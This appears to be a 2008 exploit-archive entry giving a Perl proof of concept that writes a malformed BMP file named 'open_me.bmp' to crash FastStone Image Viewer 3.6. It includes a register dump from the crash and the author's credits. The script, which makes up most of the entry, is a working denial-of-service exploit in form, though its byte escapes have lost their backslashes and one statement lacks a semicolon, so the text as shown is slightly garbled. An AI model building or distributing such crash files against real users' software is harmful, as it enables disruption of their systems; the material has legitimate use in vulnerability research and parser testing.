[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : FastStone Image Viewer 3.6 (malformed bmp image) Crash Exploit
# Published : 2008-10-05
# Author : suN8Hclf
# Previous Title : AyeView 2.20 (invalid bitmap header parsing) Crash Exploit
# Next Title : AyeView 2.20 (malformed gif image) Local Crash Exploit


Name      : FastStone Image Viewer v3.6 (malformed bmp image) DoS Exploit
Credit    : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download: : http://www.FastStone.org
Greetz    : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, 
            Katharsis, all from #dark-coders and others;]

PoC:

#!/usr/local/bin/perl   
# Open file (File->Open) or simply click on the image miniature
# FastStone Image Viewer v3.6 simply crashes
# Tested on Windows 2000 SP4
#-----INFO----------------------
#EAX 00002847
#ECX 00000000
#EDX 00402818 dumped_F.00402818
#EBX 00402818 dumped_F.00402818
#ESP 00402818 dumped_F.00402818
#EBP 0012DF08
#ESI 00402818 dumped_F.00402818
#EDI 000161E8
#EIP 012F0447
#
#Reason: "Access violation when writing to [00002847]
#-----INFO----------------------

my $code="x42x4dx3cx00x00x00x00x00x00x00x36x00x00x00x28x00".
         "x00x00xccx5fx01x00xe8x61x01x00x01x00x18x00x00x00".
         "x00x00x06x00x00x00x98x9ex00x00x88x77x00x00xffx02".
         "xfdx00x00x00x00x00x41";
my $file="open_me.bmp";

open(my $FILE, ">>$file") or die "[!]Cannot open file";
print $FILE $code;
close($FILE);
print "$file has been generatedn"
print "Credit: suN8Hclf, www.dark-coders.pl"

# www.Syue.com [2008-10-05]